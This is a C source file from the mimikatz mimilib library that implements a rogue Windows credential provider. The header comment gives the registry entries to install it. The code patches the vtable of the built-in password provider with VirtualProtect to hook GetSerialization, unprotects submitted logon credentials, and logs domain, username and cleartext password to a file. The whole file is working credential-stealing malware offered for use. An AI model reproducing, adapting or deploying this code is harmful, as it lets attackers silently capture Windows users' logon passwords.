318 lines
8.4 KiB
C
318 lines
8.4 KiB
C
/* Benjamin DELPY `gentilkiwi`
|
|
https://blog.gentilkiwi.com
|
|
benjamin@gentilkiwi.com
|
|
|
|
Vincent LE TOUX
|
|
http://pingcastle.com / http://mysmartlogon.com
|
|
vincent.letoux@gmail.com
|
|
|
|
Licence : https://creativecommons.org/licenses/by/4.0/
|
|
*/
|
|
#include "kcredentialprovider.h"
|
|
|
|
/* Register
|
|
* ========
|
|
|
|
Windows Registry Editor Version 5.00
|
|
|
|
[HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
@="mimilib"
|
|
|
|
[HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
@="mimilib"
|
|
|
|
[HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\InprocServer32]
|
|
@="mimilib.dll"
|
|
"ThreadingModel"="Apartment"
|
|
|
|
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
@="mimilib"
|
|
|
|
[HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
@="mimilib"
|
|
|
|
[HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}\InprocServer32]
|
|
@="mimilib.dll"
|
|
"ThreadingModel"="Apartment"
|
|
|
|
* Unregister
|
|
* ==========
|
|
|
|
Windows Registry Editor Version 5.00
|
|
|
|
[-HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
[-HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
[-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
[-HKEY_CLASSES_ROOT\CLSID\{DC2EB890-F593-4E6D-A085-E8C112CFBEC4}]
|
|
|
|
*/
|
|
|
|
DEFINE_GUID(IID_ICredentialProvider, 0xd27c3481, 0x5a1c, 0x45b2, 0x8a, 0xaa, 0xc2, 0x0e, 0xbb, 0xe8, 0x22, 0x9e); // d27c3481-5a1c-45b2-8aaa-c20ebbe8229e
|
|
DEFINE_GUID(CLSID_PasswordCredentialProvider, 0x60b78e88, 0xead8, 0x445c, 0x9c, 0xfd, 0x0b, 0x87, 0xf7, 0x4e, 0xa6, 0xcd); // 60b78e88-ead8-445c-9cfd-0b87f74ea6cd
|
|
|
|
static LONG g_cRef = 0; // global dll reference count
|
|
|
|
NTSTATUS NTAPI kredentialProvider_log(PWSTR szDomain, PWSTR szLogin, PWSTR szPassword)
|
|
{
|
|
FILE* kssp_logfile;
|
|
#pragma warning(push)
|
|
#pragma warning(disable:4996)
|
|
if (kssp_logfile = _wfopen(L"kcredentialprovider.log", L"a"))
|
|
#pragma warning(pop)
|
|
{
|
|
klog(kssp_logfile, L"%s\\%s\t%s\n", szDomain, szLogin, szPassword);
|
|
fclose(kssp_logfile);
|
|
}
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
GetSerializationType GetSerializationOld;
|
|
HRESULT STDMETHODCALLTYPE GetSerializationNew(IUnknown* This, /* [out] */ PVOID pcpgsr, /* [out] */ CREDENTIAL_PROVIDER_CREDENTIAL_SERIALIZATION* pcpcs, /* [out] */ LPWSTR* ppszOptionalStatusText, /* [out] */ PVOID pcpsiOptionalStatusIcon)
|
|
{
|
|
GetSerializationType ser = NULL;
|
|
HRESULT hr;
|
|
TCHAR szUser[256], szPassword[256], szDomain[256], szPasswordClearText[256];
|
|
DWORD dwUserLen = ARRAYSIZE(szUser), dwPasswordLen = ARRAYSIZE(szPassword), dwDomainLen = ARRAYSIZE(szDomain), dwPasswordClearTextLen = ARRAYSIZE(szPasswordClearText);
|
|
CRED_PROTECTION_TYPE ctype;
|
|
HMODULE hAdvApi32, hCredUI;
|
|
CredUnPackAuthenticationBufferWFct* CredUnPackAuthenticationBufferInst;
|
|
CredIsProtectedWFct* CredIsProtectedInst;
|
|
CredUnprotectWFct* CredUnprotectWInst;
|
|
|
|
if (GetSerializationOld == NULL)
|
|
return E_NOTIMPL;
|
|
|
|
hr = GetSerializationOld(This, pcpgsr, pcpcs, ppszOptionalStatusText, pcpsiOptionalStatusIcon);
|
|
if (!SUCCEEDED(hr))
|
|
{
|
|
return hr;
|
|
}
|
|
|
|
hCredUI = LoadLibrary(L"Credui.dll");
|
|
if(hCredUI)
|
|
{
|
|
hAdvApi32 = LoadLibrary(L"advapi32.dll");
|
|
if(hAdvApi32)
|
|
{
|
|
|
|
CredUnPackAuthenticationBufferInst = (CredUnPackAuthenticationBufferWFct*) GetProcAddress(hCredUI, "CredUnPackAuthenticationBufferW");
|
|
CredIsProtectedInst = (CredIsProtectedWFct*) GetProcAddress(hAdvApi32, "CredIsProtectedW");
|
|
CredUnprotectWInst = (CredUnprotectWFct*) GetProcAddress(hAdvApi32, "CredUnprotectW");
|
|
|
|
if(CredUnPackAuthenticationBufferInst && CredIsProtectedInst && CredUnprotectWInst)
|
|
{
|
|
if(CredUnPackAuthenticationBufferInst(0, pcpcs->rgbSerialization, pcpcs->cbSerialization, szUser, &dwUserLen, szDomain, &dwDomainLen, szPassword, &dwPasswordLen))
|
|
{
|
|
if (CredIsProtectedInst(szPassword, &ctype))
|
|
{
|
|
if (CredUnprotectWInst(TRUE, szPassword, dwPasswordLen, szPasswordClearText, &dwPasswordClearTextLen))
|
|
{
|
|
kredentialProvider_log(szDomain, szUser, szPasswordClearText);
|
|
}
|
|
else hr = GetLastError();
|
|
}
|
|
else
|
|
{
|
|
kredentialProvider_log(szDomain, szUser, szPassword);
|
|
}
|
|
}
|
|
else hr = GetLastError();
|
|
}
|
|
else hr = E_POINTER;
|
|
|
|
FreeModule(hAdvApi32);
|
|
}
|
|
else hr = E_HANDLE;
|
|
|
|
FreeModule(hCredUI);
|
|
}
|
|
else hr = E_HANDLE;
|
|
|
|
return hr;
|
|
}
|
|
|
|
GetCredentialAtType GetCredentialAtOld;
|
|
HRESULT(STDMETHODCALLTYPE GetCredentialAt)(IUnknown* This, DWORD dwIndex, ICredentialProviderCredential** ppcpc)
|
|
{
|
|
HRESULT hr = GetCredentialAtOld(This, dwIndex, ppcpc);
|
|
DWORD dwOld;
|
|
if (!SUCCEEDED(hr))
|
|
{
|
|
return hr;
|
|
}
|
|
|
|
if ((*ppcpc)->lpVtbl->GetSerialization == GetSerializationNew)
|
|
return hr;
|
|
|
|
GetSerializationOld = (*ppcpc)->lpVtbl->GetSerialization;
|
|
|
|
if (!VirtualProtect(&((*ppcpc)->lpVtbl->GetSerialization), sizeof(LONG_PTR), PAGE_EXECUTE_READWRITE, &dwOld))
|
|
{
|
|
return hr;
|
|
}
|
|
|
|
(*ppcpc)->lpVtbl->GetSerialization = GetSerializationNew;
|
|
|
|
VirtualProtect(&((*ppcpc)->lpVtbl->GetSerialization), sizeof(LONG_PTR), dwOld, &dwOld); // just in case...
|
|
|
|
return hr;
|
|
}
|
|
|
|
// Boilerplate method to create an instance of our provider.
|
|
HRESULT CEIDProvider_CreateInstance(REFIID riid, void** ppv)
|
|
{
|
|
HRESULT hr;
|
|
ICredentialProvider* object = NULL;
|
|
DWORD dwOld = 0;
|
|
|
|
if (!IsEqualIID(riid, (PVOID)&IID_ICredentialProvider))
|
|
{
|
|
return E_NOINTERFACE;
|
|
}
|
|
|
|
hr = CoCreateInstance(&CLSID_PasswordCredentialProvider, NULL, CLSCTX_INPROC_SERVER, riid, (PVOID*)&object);
|
|
if (!SUCCEEDED(hr))
|
|
{
|
|
return E_NOINTERFACE;
|
|
}
|
|
|
|
GetCredentialAtOld = (GetCredentialAtType)object->lpVtbl->GetCredentialAt;
|
|
|
|
if (!VirtualProtect(&(object->lpVtbl->GetCredentialAt), sizeof(LONG_PTR), PAGE_EXECUTE_READWRITE, &dwOld))
|
|
{
|
|
return E_NOINTERFACE;
|
|
}
|
|
object->lpVtbl->GetCredentialAt = GetCredentialAt;
|
|
|
|
VirtualProtect(&(object->lpVtbl->GetCredentialAt), sizeof(LONG_PTR), dwOld, &dwOld); // just in case
|
|
|
|
*ppv = NULL;
|
|
object->lpVtbl->Release(object);
|
|
|
|
return E_NOINTERFACE;
|
|
}
|
|
|
|
ULONG STDMETHODCALLTYPE CClassFactoryAddRef(__RPC__in IClassFactory* This)
|
|
{
|
|
return ((CClassFactory*)This)->_cRef++;
|
|
}
|
|
|
|
ULONG STDMETHODCALLTYPE CClassFactoryRelease(__RPC__in IClassFactory* This)
|
|
{
|
|
LONG cRef = ((CClassFactory*)This)->_cRef--;
|
|
if (!cRef)
|
|
{
|
|
free(This);
|
|
}
|
|
|
|
return cRef;
|
|
}
|
|
|
|
HRESULT STDMETHODCALLTYPE CClassFactoryQueryInterface(IClassFactory* This, /* [in] */ REFIID riid, /* [annotation][iid_is][out] */ void** ppvObject)
|
|
{
|
|
HRESULT hr;
|
|
if (ppvObject != NULL)
|
|
{
|
|
if (IsEqualIID(&IID_IUnknown, riid) || IsEqualIID(&IID_IClassFactory, riid))
|
|
{
|
|
*ppvObject = This;
|
|
CClassFactoryAddRef(This);
|
|
hr = S_OK;
|
|
}
|
|
else
|
|
{
|
|
*ppvObject = NULL;
|
|
hr = E_NOINTERFACE;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
hr = E_INVALIDARG;
|
|
}
|
|
|
|
return hr;
|
|
}
|
|
|
|
HRESULT STDMETHODCALLTYPE CClassFactoryCreateInstance(IClassFactory* This, /* [annotation][unique][in] */ IUnknown* pUnkOuter, /* [annotation][in] */ REFIID riid, /* [annotation][iid_is][out] */ void** ppvObject)
|
|
{
|
|
HRESULT hr;
|
|
if (!pUnkOuter)
|
|
{
|
|
if (IsEqualIID(&IID_ICredentialProvider, riid))
|
|
{
|
|
hr = CEIDProvider_CreateInstance(riid, ppvObject);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
*ppvObject = NULL;
|
|
hr = CLASS_E_NOAGGREGATION;
|
|
}
|
|
|
|
return hr;
|
|
}
|
|
|
|
HRESULT STDMETHODCALLTYPE CClassFactoryLockServer(IClassFactory* This, /* [in] */ BOOL fLock)
|
|
{
|
|
if (fLock)
|
|
{
|
|
InterlockedIncrement(&g_cRef);
|
|
}
|
|
else
|
|
{
|
|
InterlockedDecrement(&g_cRef);
|
|
}
|
|
|
|
return S_OK;
|
|
}
|
|
|
|
CONST_VTBL struct IClassFactoryVtbl factoryVtbl = {
|
|
CClassFactoryQueryInterface,
|
|
CClassFactoryAddRef,
|
|
CClassFactoryRelease,
|
|
CClassFactoryCreateInstance,
|
|
CClassFactoryLockServer,
|
|
};
|
|
|
|
HRESULT CClassFactory_CreateInstance(REFCLSID rclsid, REFIID riid, void** ppv)
|
|
{
|
|
HRESULT hr = E_OUTOFMEMORY;
|
|
|
|
IClassFactory* pcf = (IClassFactory*)malloc(sizeof(CClassFactory));
|
|
if (pcf)
|
|
{
|
|
((CClassFactory*)pcf)->_cRef = 0;
|
|
pcf->lpVtbl = &factoryVtbl;
|
|
|
|
hr = pcf->lpVtbl->QueryInterface(pcf, riid, ppv);
|
|
pcf->lpVtbl->Release(pcf);
|
|
}
|
|
else
|
|
{
|
|
hr = E_OUTOFMEMORY;
|
|
}
|
|
|
|
return hr;
|
|
}
|
|
|
|
// DLL entry point.
|
|
STDAPI kcredentialprovider_DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv)
|
|
{
|
|
return CClassFactory_CreateInstance(rclsid, riid, ppv);
|
|
}
|
|
|
|
STDAPI kcredentialprovider_DllCanUnloadNow()
|
|
{
|
|
HRESULT hr;
|
|
|
|
if (g_cRef > 0)
|
|
{
|
|
hr = S_FALSE; // cocreated objects still exist, don't unload
|
|
}
|
|
else
|
|
{
|
|
hr = S_OK; // refcount is zero, ok to unload
|
|
}
|
|
|
|
return hr;
|
|
} |